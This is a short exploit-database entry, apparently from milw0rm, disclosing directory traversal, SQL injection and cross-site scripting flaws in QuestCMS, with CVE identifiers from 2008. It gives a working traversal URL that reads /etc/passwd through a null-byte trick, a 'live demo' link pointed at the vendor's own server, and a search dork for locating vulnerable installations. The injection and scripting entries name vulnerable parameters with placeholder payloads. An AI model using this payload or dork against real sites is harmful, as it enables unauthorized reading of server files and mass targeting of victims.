QuestCMS - Cross-Site Scripting / Directory Traversal / SQL Injection

Author: d3b4g
type: webapps
platform: php
port: 
date_added: 2008-10-26 
date_updated: 2016-12-30 
verified: 1 
codes: OSVDB-49414;CVE-2008-4774;OSVDB-49413;CVE-2008-4773;OSVDB-49412;CVE-2008-4772 
tags: 
aliases:  
screenshot_url:  
application_url: 

--------------------------------------------------------------------------------

Title : Questcms Multiple Remote Vulnerabilities [XSS/Directory Traversal/sql]

--------------------------------------------------------------------------------
#Author: d3b4g


#contact: bl4ckend[at]gmail[dot]com

--------------------------------------------------------------------------------
Affected software:
--------------------------------------------------------------------------------
Application :  Questwork Web Content Management system (QuestCMS)
URL :  http://www.questwork.com

--------------------------------------------------------------------------------

dork        : allinurl:"/questcms/"
--------------------------------------------------------------------------------
Directory traversal vulnibility
=============================
Exploit     : questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html

Live demo   : http://www.questwork.com/questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html


---------------------------------------------------------------------------------

sql injection:
==============
Vuln file:questcms/main/main.php?obj=[sql]


XSS:
====
exploit:/main/main.php?cx=[Xss]
--------------------------------------------------------------------------------



--------------------------------------------------------------------------------

greetz:

All my friends,milw0rm...

--------------------------------------------------------------------------------



--------------------------------- [ www.hotlism.org ] --------------------------------------

# milw0rm.com [2008-10-27]